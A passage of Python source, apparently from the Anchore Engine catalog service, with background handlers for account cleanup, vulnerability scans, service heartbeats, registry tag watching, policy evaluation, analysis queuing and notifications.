exception: {}".format(resourcename, userId, err)) return_object['all_total'] = all_total return_object['all_deleted'] = all_deleted httpcode = 200 return(return_object, httpcode) def handle_account_resource_cleanup(*args, **kwargs): watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) try: # iterate over all deleted account records, and perform resource cleanup for that account. If there are no longer any resources associated with the account id, then finally delete the account record itself with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) accounts = mgr.list_accounts(with_state=AccountStates.deleting, include_service=False) for account in accounts: userId = account['name'] logger.debug("Inspecting account {} for resource cleanup tasks".format(userId)) try: return_object, httpcode = do_user_resources_delete(userId) logger.debug("Resources for deleted account cleaned-up: {} - {}".format(return_object, httpcode)) if return_object.get('all_total', None) == 0 and return_object.get('all_deleted', None) == 0: logger.debug("Resources for pending deleted user {} cleared - deleting account".format(userId)) with db.session_scope() as session: mgr = manager_factory.for_session(session) mgr.delete_account(userId) else: logger.debug("resources for pending deleted user {} not entirely cleared this cycle".format(userId)) except Exception as err: raise Exception("failed to delete user {} resources - exception: {}".format(userId, err)) except Exception as err: logger.warn("failure in handler - exception: " + str(err)) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def handle_vulnerability_scan(*args, **kwargs): global feed_sync_updated watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) try: all_ready = anchore_engine.clients.services.common.check_services_ready(['policy_engine']) if not all_ready: logger.debug("FIRING DONE: feed syncer (skipping due to required services not being available)") try: kwargs['mythread']['last_return'] = False except: pass return (True) with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) accounts = mgr.list_accounts(with_state=AccountStates.enabled, include_service=False) for account in accounts: userId = account['name'] # vulnerability scans doperform = False vuln_sub_tags = [] for subscription_type in ['vuln_update']: dbfilter = {'subscription_type': subscription_type} with db.session_scope() as dbsession: subscription_records = db_subscriptions.get_byfilter(userId, session=dbsession, **dbfilter) for subscription_record in subscription_records: if subscription_record['active']: image_info = anchore_engine.common.images.get_image_info(userId, "docker", subscription_record[ 'subscription_key'], registry_lookup=False, registry_creds=(None, None)) dbfilter = {'registry': image_info['registry'], 'repo': image_info['repo'], 'tag': image_info['tag']} if dbfilter not in vuln_sub_tags: vuln_sub_tags.append(dbfilter) for dbfilter in vuln_sub_tags: with db.session_scope() as dbsession: image_records = db_catalog_image.get_byimagefilter(userId, 'docker', dbfilter=dbfilter, onlylatest=True, session=dbsession) for image_record in image_records: if image_record['analysis_status'] == taskstate.complete_state('analyze'): imageDigest = image_record['imageDigest'] fulltag = dbfilter['registry'] + "/" + dbfilter['repo'] + ":" + dbfilter['tag'] doperform = True if doperform: logger.debug("calling vuln scan perform: " + str(fulltag) + " : " + str(imageDigest)) with db.session_scope() as dbsession: try: rc = catalog_impl.perform_vulnerability_scan(userId, imageDigest, dbsession, scantag=fulltag, force_refresh=False) except Exception as err: logger.warn("vulnerability scan failed - exception: " + str(err)) except Exception as err: logger.warn("failure in feed sync handler - exception: " + str(err)) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def handle_service_watcher(*args, **kwargs): # global latest_service_records cycle_timer = kwargs['mythread']['cycle_timer'] max_service_heartbeat_timer = 300 max_service_orphaned_timer = 3600 while (True): logger.debug("FIRING: service watcher") localconfig = anchore_engine.configuration.localconfig.get_config() verify = localconfig['internal_ssl_verify'] with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) userId, password = mgr.get_system_credentials() anchore_services = db_services.get_all(session=dbsession) # update the global latest service record dict in services.common # latest_service_records.update({"service_records": copy.deepcopy(anchore_services)}) # fields to update each tick: # # heartbeat (current time) # status (true/false) # status_message (state of service) # short_description(api return) # for service in anchore_services: event = None service_update_record = {} if service['servicename'] == 'catalog' and service['hostid'] == localconfig['host_id']: status = anchore_engine.subsys.servicestatus.get_status(service) service_update_record.update({'heartbeat': int(time.time()), 'status': True, 'status_message': taskstate.complete_state('service_status'), 'short_description': json.dumps(status)}) else: try: try: status = json.loads(service['short_description']) except: status = {'up': False, 'available': False} # set to down until the response can be parsed service_update_record['status'] = False service_update_record['status_message'] = taskstate.fault_state('service_status') service_update_record['short_description'] = "could not get service status description" try: # NOTE: this is where any service-specific decisions based on the 'status' record could happen - now all services are the same if status['up'] and status['available']: if time.time() - service['heartbeat'] > max_service_heartbeat_timer: logger.warn("no service heartbeat within allowed time period (" + str( [service['hostid'], service['base_url']]) + " - disabling service") service_update_record[ 'short_description'] = "no heartbeat from service in ({}) seconds".format( max_service_heartbeat_timer) # Trigger an event to log the down service event = events.ServiceDownEvent(user_id=userId, name=service['servicename'], host=service['hostid'], url=service['base_url'], cause='no heartbeat from service in ({}) seconds'.format( max_service_orphaned_timer)) else: service_update_record['status'] = True service_update_record['status_message'] = taskstate.complete_state('service_status') try: service_update_record['short_description'] = json.dumps(status) except: service_update_record['short_description'] = str(status) else: if time.time() - service['heartbeat'] > max_service_orphaned_timer: logger.warn("no service heartbeat within max allowed time period (" + str( [service['hostid'], service['base_url']]) + " - orphaning service") service_update_record['status'] = False service_update_record['status_message'] = taskstate.orphaned_state('service_status') service_update_record[ 'short_description'] = "no heartbeat from service in ({}) seconds".format( max_service_orphaned_timer) if service['status_message'] != taskstate.orphaned_state('service_status'): # Trigger an event to log the orphaned service, only on transition event = events.ServiceOrphanedEvent(user_id=userId, name=service['servicename'], host=service['hostid'], url=service['base_url'], cause='no heartbeat from service in ({}) seconds'.format( max_service_orphaned_timer)) except Exception as err: logger.warn( "could not get/parse service status record for service: - exception: " + str(err)) except Exception as err: logger.warn( "could not get service status: " + str(service) + " : exception: " + str(err) + " : " + str( err.__dict__)) service_update_record['status'] = False service_update_record['status_message'] = taskstate.fault_state('service_status') service_update_record['short_description'] = "could not get service status" finally: if event: _add_event(event) if service_update_record: service.update(service_update_record) try: db_services.update_record(service, session=dbsession) except Exception as err: logger.warn("could not update DB: " + str(err)) else: logger.warn("no service_update_record populated - nothing to update") logger.debug("FIRING DONE: service watcher") try: kwargs['mythread']['last_return'] = True except: pass time.sleep(cycle_timer) return (True) def handle_repo_watcher(*args, **kwargs): global system_user_auth watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) accounts = mgr.list_accounts(with_state=AccountStates.enabled, include_service=False) for account in accounts: userId = account['name'] dbfilter = {} with db.session_scope() as dbsession: dbfilter['subscription_type'] = 'repo_update' subscription_records = db_subscriptions.get_byfilter(userId, session=dbsession, **dbfilter) registry_creds = db_registries.get_byuserId(userId, session=dbsession) try: catalog_impl.refresh_registry_creds(registry_creds, dbsession) except Exception as err: logger.warn("failed to refresh registry credentials - exception: " + str(err)) for subscription_record in subscription_records: if not subscription_record['active']: continue event = None try: regrepo = subscription_record['subscription_key'] if subscription_record['subscription_value']: subscription_value = json.loads(subscription_record['subscription_value']) if 'autosubscribe' not in subscription_value: subscription_value['autosubscribe'] = False if 'lookuptag' not in subscription_value: subscription_value['lookuptag'] = 'latest' else: subscription_value = {'autosubscribe': False, 'lookuptag': 'latest'} stored_repotags = subscription_value.get('repotags', []) fulltag = regrepo + ":" + subscription_value.get('lookuptag', 'latest') image_info = anchore_engine.common.images.get_image_info(userId, "docker", fulltag, registry_lookup=False, registry_creds=(None, None)) # List tags try: curr_repotags = docker_registry.get_repo_tags(userId, image_info, registry_creds=registry_creds) except AnchoreException as e: event = events.ListTagsFail(user_id=userId, registry=image_info.get('registry', None), repository=image_info.get('repo', None), error=e.to_dict()) raise e autosubscribes = ['analysis_update'] if subscription_value['autosubscribe']: autosubscribes.append("tag_update") repotags = set(curr_repotags).difference(set(stored_repotags)) if repotags: logger.debug("new tags to watch in repo (" + str(regrepo) + "): " + str(repotags)) added_repotags = stored_repotags for repotag in repotags: try: fulltag = image_info['registry'] + "/" + image_info['repo'] + ":" + repotag logger.debug("found new tag in repo: " + str(fulltag)) new_image_info = anchore_engine.common.images.get_image_info(userId, "docker", fulltag, registry_lookup=True, registry_creds=registry_creds) manifest = None try: if 'manifest' in new_image_info: try: manifest = json.dumps(new_image_info['manifest']) except Exception as err: raise TagManifestParseError(cause=err, tag=fulltag, manifest=new_image_info['manifest'], msg='Failed to serialize manifest into JSON formatted string') else: raise TagManifestNotFoundError(tag=fulltag, msg='No manifest from get_image_info') except AnchoreException as e: event = events.TagManifestParseFail(user_id=userId, tag=fulltag, error=e.to_dict()) raise with db.session_scope() as dbsession: logger.debug("adding/updating image from repo scan " + str(new_image_info['fulltag'])) # add the image image_records = catalog_impl.add_or_update_image(dbsession, userId, new_image_info['imageId'], tags=[new_image_info['fulltag']], digests=[new_image_info['fulldigest']], parentdigest=new_image_info.get('parentdigest', None), manifest=manifest) # add the subscription records with the configured default activations for stype in anchore_engine.common.subscription_types: activate = False if stype == 'repo_update': continue elif stype in autosubscribes: activate = True db_subscriptions.add(userId, new_image_info['fulltag'], stype, {'active': activate}, session=dbsession) added_repotags.append(repotag) except Exception as err: logger.warn( "could not add discovered tag from repo (" + str(fulltag) + ") - exception: " + str( err)) # update the subscription record with the latest successfully added image tags with db.session_scope() as dbsession: subscription_value['repotags'] = added_repotags subscription_value['tagcount'] = len(added_repotags) db_subscriptions.update(userId, regrepo, 'repo_update', {'subscription_value': json.dumps(subscription_value)}, session=dbsession) else: logger.debug("no new images in watched repo (" + str(regrepo) + "): skipping") except Exception as err: logger.warn("failed to process repo_update subscription - exception: " + str(err)) finally: if event: _add_event(event) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def handle_image_watcher(*args, **kwargs): global system_user_auth watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) accounts = mgr.list_accounts(with_state=AccountStates.enabled, include_service=False) for account in accounts: userId = account['name'] if account['type'] == AccountTypes.service: # userId == 'anchore-system': continue with db.session_scope() as dbsession: dbfilter = {} dbfilter['subscription_type'] = 'tag_update' subscription_records = db_subscriptions.get_byfilter(userId, session=dbsession, **dbfilter) registry_creds = db_registries.get_byuserId(userId, session=dbsession) try: catalog_impl.refresh_registry_creds(registry_creds, dbsession) except Exception as err: logger.warn("failed to refresh registry credentials - exception: " + str(err)) alltags = [] for subscription_record in subscription_records: if not subscription_record['active']: continue try: fulltag = subscription_record['subscription_key'] if fulltag not in alltags: alltags.append(fulltag) except Exception as err: logger.warn("problem creating taglist for image watcher - exception: " + str(err)) for registry_record in registry_creds: try: registry_status = docker_registry.ping_docker_registry(registry_record) except Exception as err: registry_record['record_state_key'] = 'auth_failure' registry_record['record_state_val'] = str(int(time.time())) logger.warn("registry ping failed - exception: " + str(err)) logger.debug("checking tags for update: " + str(userId) + " : " + str(alltags)) for fulltag in alltags: event = None try: logger.debug("checking image latest info from registry: " + fulltag) image_info = anchore_engine.common.images.get_image_info(userId, "docker", fulltag, registry_lookup=True, registry_creds=registry_creds) logger.spew("checking image: got registry info: " + str(image_info)) manifest = None try: if 'manifest' in image_info: try: manifest = json.dumps(image_info['manifest']) except Exception as err: raise TagManifestParseError(cause=err, tag=fulltag, manifest=image_info['manifest'], msg='Failed to serialize manifest into JSON formatted string') else: raise TagManifestNotFoundError(tag=fulltag, msg='No manifest from get_image_info') except AnchoreException as e: event = events.TagManifestParseFail(user_id=userId, tag=fulltag, error=e.to_dict()) raise try: dbfilter = { 'registry': image_info['registry'], 'repo': image_info['repo'], 'tag': image_info['tag'], 'digest': image_info['digest'] } except Exception as err: raise Exception("could not prepare db filter for complete lookup check - exception: " + str(err)) try: stored_manifest = json.loads(archive.get_document(userId, 'manifest_data', image_info['digest'])) if not stored_manifest: raise Exception("stored manifest is empty") except Exception as err: logger.debug("found empty/invalid stored manifest, storing new: " + str(err)) rc = archive.put_document(userId, 'manifest_data', image_info['digest'], manifest) logger.debug("checking image: looking up image in db using dbfilter: " + str(dbfilter)) with db.session_scope() as dbsession: record = db_catalog_image.get_byimagefilter(userId, 'docker', dbfilter, session=dbsession) if record: logger.debug("checking image: found match, no update, nothing to do: " + str(fulltag)) else: logger.info( "checking image: found latest digest for tag is not in DB: should update and queue for analysis: tag=" + str( fulltag) + " latest_digest=" + str(dbfilter['digest'])) # get the set of existing digests try: last_dbfilter = {} last_dbfilter.update(dbfilter) last_dbfilter.pop('digest', None) last_digests = [] last_annotations = {} is_latest = True with db.session_scope() as dbsession: last_image_records = db_catalog_image.get_byimagefilter(userId, 'docker', last_dbfilter, session=dbsession) if last_image_records: for last_image_record in last_image_records: imageDigest = last_image_record['imageDigest'] for image_detail in last_image_record['image_detail']: last_digests.append(image_detail['digest']) # only do this (bring forward annotations) for the first found digest (last digest associated with tag) if is_latest: if not last_annotations and last_image_record['annotations']: try: if last_image_record.get('annotations', '{}'): last_annotations.update( json.loads(last_image_record.get('annotations', '{}'))) except: pass is_latest = False except Exception as err: logger.error(str(err)) # add and store the new image with db.session_scope() as dbsession: logger.debug("adding new image from tag watcher " + str(image_info)) image_records = catalog_impl.add_or_update_image(dbsession, userId, image_info['imageId'], tags=[image_info['fulltag']], digests=[image_info['fulldigest']], parentdigest=image_info.get('parentdigest', None), manifest=manifest, annotations=last_annotations) if image_records: image_record = image_records[0] else: image_record = {} logger.info("checking image: added new image: " + str(image_record)) new_digests = [image_info['digest']] # construct the notification and queue try: npayload = { 'last_eval': last_digests, 'curr_eval': new_digests, } if last_annotations: npayload['annotations'] = last_annotations rc = notifications.queue_notification(userId, fulltag, 'tag_update', npayload) logger.debug("queued image tag update notification: " + fulltag) # inobj = { # 'userId': userId, # 'subscription_key':fulltag, # 'notificationId': str(uuid.uuid4()), # 'last_eval':last_digests, # 'curr_eval':new_digests, # } # if not simplequeue.is_inqueue(system_user_auth, 'tag_update', inobj): # qobj = simplequeue.enqueue(system_user_auth, 'tag_update', inobj) # logger.debug("queued image tag update notification: " + fulltag) except Exception as err: logger.error("failed to queue tag update notification - exception: " + str(err)) raise err except Exception as err: logger.error("failed to check/update image - exception: " + str(err)) finally: if event: _add_event(event) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def _add_event(event, quiet=True): try: with db.session_scope() as dbsession: db_events.add(event.to_dict(), dbsession) logger.debug("queueing event creation notification") npayload = {'event': event.to_dict()} rc = notifications.queue_notification(event.user_id, subscription_key=event.level, subscription_type='event_log', payload=npayload) except: if quiet: logger.exception('Ignoring error creating/notifying event: {}'.format(event)) else: raise def check_feedmeta_update(dbsession): global feed_sync_updated return (feed_sync_updated) def check_policybundle_update(userId, dbsession): global bundle_user_last_updated is_updated = True try: last_bundle_update = 0 active_policy_record = db_policybundle.get_active_policy(userId, session=dbsession) if active_policy_record: last_bundle_update = active_policy_record['last_updated'] else: logger.warn("user has no active policy - queueing just in case" + str(userId)) return (is_updated) if userId not in bundle_user_last_updated: bundle_user_last_updated[userId] = last_bundle_update if last_bundle_update == bundle_user_last_updated[userId]: logger.debug("no bundle update detected since last cycle") is_updated = False else: logger.debug("bundle update detected since last cycle") bundle_user_last_updated[userId] = last_bundle_update is_updated = True except Exception as err: logger.warn("failed to get/parse active policy bundle for user (" + str(userId) + ") - exception: " + str(err)) bundle_user_last_updated[userId] = 0 is_updated = True return (is_updated) def handle_policyeval(*args, **kwargs): global system_user_auth, bundle_user_is_updated, feed_sync_updated watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) try: all_ready = anchore_engine.clients.services.common.check_services_ready(['policy_engine', 'simplequeue']) if not all_ready: logger.debug("FIRING DONE: policy eval (skipping due to required services not being available)") try: kwargs['mythread']['last_return'] = False except: pass return (True) with db.session_scope() as dbsession: feed_updated = check_feedmeta_update(dbsession) mgr = manager_factory.for_session(dbsession) accounts = mgr.list_accounts(with_state=AccountStates.enabled, include_service=False) for account in accounts: userId = account['name'] # policy evaluations doperform = False policy_sub_tags = [] for subscription_type in ['policy_eval']: dbfilter = {'subscription_type': subscription_type} with db.session_scope() as dbsession: subscription_records = db_subscriptions.get_byfilter(userId, session=dbsession, **dbfilter) for subscription_record in subscription_records: if subscription_record['active']: image_info = anchore_engine.common.images.get_image_info(userId, "docker", subscription_record[ 'subscription_key'], registry_lookup=False, registry_creds=(None, None)) dbfilter = {'registry': image_info['registry'], 'repo': image_info['repo'], 'tag': image_info['tag']} if dbfilter not in policy_sub_tags: policy_sub_tags.append(dbfilter) for dbfilter in policy_sub_tags: with db.session_scope() as dbsession: image_records = db_catalog_image.get_byimagefilter(userId, 'docker', dbfilter=dbfilter, onlylatest=True, session=dbsession) for image_record in image_records: if image_record['analysis_status'] == taskstate.complete_state('analyze'): imageDigest = image_record['imageDigest'] fulltag = dbfilter['registry'] + "/" + dbfilter['repo'] + ":" + dbfilter['tag'] # TODO - checks to avoid performing eval if nothing has changed doperform = True if doperform: logger.debug("calling policy eval perform: " + str(fulltag) + " : " + str(imageDigest)) with db.session_scope() as dbsession: try: rc = catalog_impl.perform_policy_evaluation(userId, imageDigest, dbsession, evaltag=fulltag) except Exception as err: logger.warn("policy evaluation failed - exception: " + str(err)) except Exception as err: logger.warn("failure in policy eval / vuln scan handler - exception: " + str(err)) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def handle_analyzer_queue(*args, **kwargs): global system_user_auth watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) localconfig = anchore_engine.configuration.localconfig.get_config() try: max_working_time = int(localconfig['image_analyze_timeout_seconds']) except: max_working_time = 36000 all_ready = anchore_engine.clients.services.common.check_services_ready(['policy_engine', 'simplequeue']) if not all_ready: logger.debug("FIRING DONE: analyzer queuer (skipping due to required services not being available)") try: kwargs['mythread']['last_return'] = False except: pass return (True) with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) accounts = mgr.list_accounts(include_service=False) q_client = internal_client_for(SimpleQueueClient, userId=None) for account in accounts: userId = account['name'] if account['type'] == AccountTypes.service: # userId == 'anchore-system': continue # do this in passes, for each analysis_status state with db.session_scope() as dbsession: dbfilter = {'analysis_status': taskstate.working_state('analyze')} workingstate_image_records = db_catalog_image.get_byfilter(userId, session=dbsession, **dbfilter) # first, evaluate images looking for those that have been in working state for too long and reset for image_record in workingstate_image_records: imageDigest = image_record['imageDigest'] if image_record['image_status'] == taskstate.complete_state('image_status'): state_time = int(time.time()) - image_record['last_updated'] logger.debug("image in working state for (" + str(state_time) + ")s - " + str(imageDigest)) if state_time > max_working_time: logger.warn("image has been in working state (" + str( taskstate.working_state('analyze')) + ") for over (" + str( max_working_time) + ") seconds - resetting and requeueing for analysis") image_record['analysis_status'] = taskstate.reset_state('analyze') with db.session_scope() as dbsession: db_catalog_image.update_record(image_record, session=dbsession) # next, look for any image in base state (not_analyzed) for queuing with db.session_scope() as dbsession: dbfilter = {'analysis_status': taskstate.base_state('analyze')} # dbfilter = {} basestate_image_records = db_catalog_image.get_byfilter(userId, session=dbsession, **dbfilter) for basestate_image_record in basestate_image_records: imageDigest = basestate_image_record['imageDigest'] image_record = basestate_image_record # dbfilter = {'imageDigest': imageDigest} # with db.session_scope() as dbsession: # image_records = db.db_catalog_image.get_byfilter(userId, session=dbsession, **dbfilter) # image_record = image_records[0] if image_record['image_status'] == taskstate.complete_state('image_status'): logger.debug("image check") if image_record['analysis_status'] == taskstate.base_state('analyze'): logger.debug("image in base state - " + str(imageDigest)) try: manifest = archive.get_document(userId, 'manifest_data', image_record['imageDigest']) except Exception as err: logger.debug("failed to get manifest - {}".format(str(err))) manifest = {} qobj = {} qobj['userId'] = userId qobj['imageDigest'] = image_record['imageDigest'] qobj['manifest'] = manifest try: if not q_client.is_inqueue('images_to_analyze', qobj): # queue image for analysis logger.debug("queued image for analysis: " + str(imageDigest)) qobj = q_client.enqueue('images_to_analyze', qobj) # set the appropriate analysis state for image # image_record['analysis_status'] = taskstate.queued_state('analyze') # image_record['analysis_status'] = taskstate.working_state('analyze') # with db.session_scope() as dbsession: # rc = db.db_catalog_image.update_record(image_record, session=dbsession) else: logger.debug("image already queued") except Exception as err: logger.error("failed to check/queue image for analysis - exception: " + str(err)) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def handle_notifications(*args, **kwargs): global system_user_auth watcher = str(kwargs['mythread']['taskType']) handler_success = True timer = time.time() logger.debug("FIRING: " + str(watcher)) q_client = internal_client_for(SimpleQueueClient, userId=None) with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) localconfig = anchore_engine.configuration.localconfig.get_config() try: notification_timeout = int(localconfig['webhooks']['notification_retry_timeout']) except: notification_timeout = 30 logger.debug("notification timeout: " + str(notification_timeout)) # get the event log notification config try: event_log_config = localconfig.get('services', {}).get('catalog', {}).get('event_log', None) if event_log_config and 'notification' in event_log_config: notify_events = event_log_config.get('notification').get('enabled', False) if notify_events and 'level' in event_log_config.get('notification'): event_levels = event_log_config.get('notification').get('level') event_levels = [level.lower() for level in event_levels] else: event_levels = None else: notify_events = False event_levels = None except: logger.exception('Ignoring errors parsing for event_log configuration') notify_events = False event_levels = None # regular event queue notifications + event log notification event_log_type = 'event_log' for subscription_type in anchore_engine.common.subscription_types + [event_log_type]: logger.debug("notifier: " + subscription_type) accounts = mgr.list_accounts(with_state=AccountStates.enabled, include_service=False) try: qlen = q_client.qlen(subscription_type) except Exception as err: logger.debug( "problem looking for notifications in queue: " + str(subscription_type) + " - exception: " + str( err)) qlen = 0 while (qlen > 0): pupdate_record = q_client.dequeue(subscription_type) if pupdate_record: logger.debug("got notification from queue: " + json.dumps(pupdate_record, indent=4)) notification = pupdate_record['data'] userId = notification['userId'] subscription_key = notification['subscription_key'] notificationId = notification['notificationId'] for account in accounts: try: if userId == account['name']: notification_record = None if subscription_type in anchore_engine.common.subscription_types: dbfilter = {'subscription_type': subscription_type, 'subscription_key': subscription_key} subscription_records = db_subscriptions.get_byfilter(account['name'], session=dbsession, **dbfilter) if subscription_records: subscription = subscription_records[0] if subscription and subscription['active']: notification_record = notifications.make_notification(account, subscription_type, notification) elif subscription_type == event_log_type: # handle event_log differently since its not a type of subscriptions if notify_events and ( event_levels is None or subscription_key.lower() in event_levels): notification.pop('subscription_key', None) # remove subscription_key property from notification notification_record = notifications.make_notification(account, subscription_type, notification) if notification_record: logger.spew("Storing NOTIFICATION: " + str(account) + str(notification_record)) db_queues.add(subscription_type, userId, notificationId, notification_record, 0, int(time.time() + notification_timeout), session=dbsession) except Exception as err: import traceback traceback.print_exc() logger.warn("cannot store notification to DB - exception: " + str(err)) qlen = q_client.qlen(subscription_type) for account in accounts: notification_records = db_queues.get_all(subscription_type, account['name'], session=dbsession) for notification_record in notification_records: logger.debug("drained to send: " + json.dumps(notification_record)) try: rc = notifications.notify(account, notification_record) if rc: db_queues.delete_record(notification_record, session=dbsession) except Exception as err: logger.debug("failed to send notification, storing for retry - exception: " + str(err)) notification_record['tries'] = int(time.time()) if notification_record['tries'] > notification_record['max_tries']: logger.error("hit max notification timeout: dropping notificaion") db_queues.delete_record(notification_record, session=dbsession) else: db_queues.update_record(notification_record, session=dbsession) logger.debug("FIRING DONE: " + str(watcher)) try: kwargs['mythread']['last_return'] = handler_success except: pass if anchore_engine.subsys.metrics.is_enabled() and handler_success: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="success") else: anchore_engine.subsys.metrics.summary_observe('anchore_monitor_runtime_seconds', time.time() - timer, function=watcher, status="fail") return (True) def handle_metrics(*args, **kwargs): cycle_timer = kwargs['mythread']['cycle_timer'] while (True): # perform some DB read/writes for metrics gathering if anchore_engine.subsys.metrics.is_enabled(): # DB probes anchore_record = None try: with anchore_engine.subsys.metrics.get_summary_obj("anchore_db_read_seconds").time() as mtimer: with db.session_scope() as dbsession: anchore_record = db_anchore.get(session=dbsession) except Exception as err: logger.warn("unable to perform DB read probe - exception: " + str(err)) if anchore_record: try: with anchore_engine.subsys.metrics.get_summary_obj("anchore_db_write_seconds").time() as mtimer: with db.session_scope() as dbsession: anchore_record['record_state_val'] = str(time.time()) rc = db_anchore.update_record(anchore_record, session=dbsession) except Exception as err: logger.warn("unable to perform DB write probe - exception: " + str(err)) try: with anchore_engine.subsys.metrics.get_summary_obj("anchore_db_readwrite_seconds").time() as mtimer: with db.session_scope() as dbsession: anchore_record = db_anchore.get(session=dbsession) anchore_record['record_state_val'] = str(time.time()) rc = db_anchore.update_record(anchore_record, session=dbsession) except Exception as err: logger.warn("unable to perform DB read/write probe - exception: " + str(err)) # FS probes localconfig = anchore_engine.configuration.localconfig.get_config() try: tmpdir = localconfig['tmp_dir'] svfs = os.statvfs(tmpdir) available_bytes = svfs.f_bsize * svfs.f_bavail anchore_engine.subsys.metrics.gauge_set("anchore_tmpspace_available_bytes", available_bytes) except Exception as err: logger.warn("unable to detect available bytes probe - exception: " + str(err)) time.sleep(cycle_timer) click = 0 running = False last_run = 0 system_user_auth = ('anchore-system', '') # policy update check data feed_sync_updated = False bundle_user_last_updated = {} bundle_user_is_updated = {} default_lease_ttl = 60 # 1 hour ttl, should be more than enough in most cases def watcher_func(*args, **kwargs): global system_user_auth while (True): logger.debug("starting generic watcher") all_ready = anchore_engine.clients.services.common.check_services_ready(['simplequeue']) if not all_ready: logger.info("simplequeue service not yet ready, will retry") else: q_client = internal_client_for(SimpleQueueClient, userId=None) try: logger.debug("attempting dequeue") qobj = q_client.dequeue('watcher_tasks', max_wait_seconds=30) logger.debug("dequeue complete") if qobj: logger.debug("got task from queue: " + str(qobj)) watcher = qobj['data']['watcher'] handler = watchers[watcher]['handler'] args = [] kwargs = {'mythread': watchers[watcher]} lease_id = watchers[watcher]['task_lease_id'] # Old way timer = time.time() if not lease_id: logger.debug( 'No task lease defined for watcher {}, initiating without lock protection'.format(watcher)) rc = handler(*args, **kwargs) else: rc = simplequeue.run_target_with_lease(system_user_auth, lease_id, handler, ttl=default_lease_ttl, *args, **kwargs) else: logger.debug("nothing in queue") except Exception as err: logger.warn("failed to process task this cycle: " + str(err)) logger.debug("generic watcher done") time.sleep(5) def schedule_watcher(watcher): global watchers, watcher_task_template, system_user_auth if watcher not in watchers: logger.warn("input watcher {} not in list of available watchers {}".format(watcher, list(watchers.keys()))) return (False) if watchers[watcher]['taskType']: logger.debug("should queue job: " + watcher) watcher_task = copy.deepcopy(watcher_task_template) watcher_task['watcher'] = watcher watcher_task['taskType'] = watchers[watcher]['taskType'] try: q_client = internal_client_for(SimpleQueueClient, userId=None) if not q_client.is_inqueue('watcher_tasks', watcher_task): qobj = q_client.enqueue('watcher_tasks', watcher_task) logger.debug(str(watcher_task) + ": init task queued: " + str(qobj)) else: logger.debug(str(watcher_task) + ": init task already queued") watchers[watcher]['last_queued'] = time.time() except Exception as err: logger.warn("failed to enqueue watcher task: " + str(err)) return (True) def monitor_func(**kwargs): global click, running, last_queued, system_user_auth, watchers, last_run if click < 5: click = click + 1 logger.debug("Catalog monitor starting in: " + str(5 - click)) return (True) if running or ((time.time() - last_run) < kwargs['kick_timer']): return (True) logger.debug("FIRING: catalog_monitor") try: localconfig = anchore_engine.configuration.localconfig.get_config() system_user_auth = localconfig['system_user_auth'] for watcher in list(watchers.keys()): if not watchers[watcher]['initialized']: # first time if 'cycle_timers' in kwargs and watcher in kwargs['cycle_timers']: try: the_cycle_timer = watchers[watcher]['cycle_timer'] min_cycle_timer = watchers[watcher]['min_cycle_timer'] max_cycle_timer = watchers[watcher]['max_cycle_timer'] config_cycle_timer = int(kwargs['cycle_timers'][watcher]) if config_cycle_timer < 0: the_cycle_timer = abs(int(config_cycle_timer)) elif config_cycle_timer < min_cycle_timer: logger.warn("configured cycle timer for handler (" + str( watcher) + ") is less than the allowed min (" + str( min_cycle_timer) + ") - using allowed min") 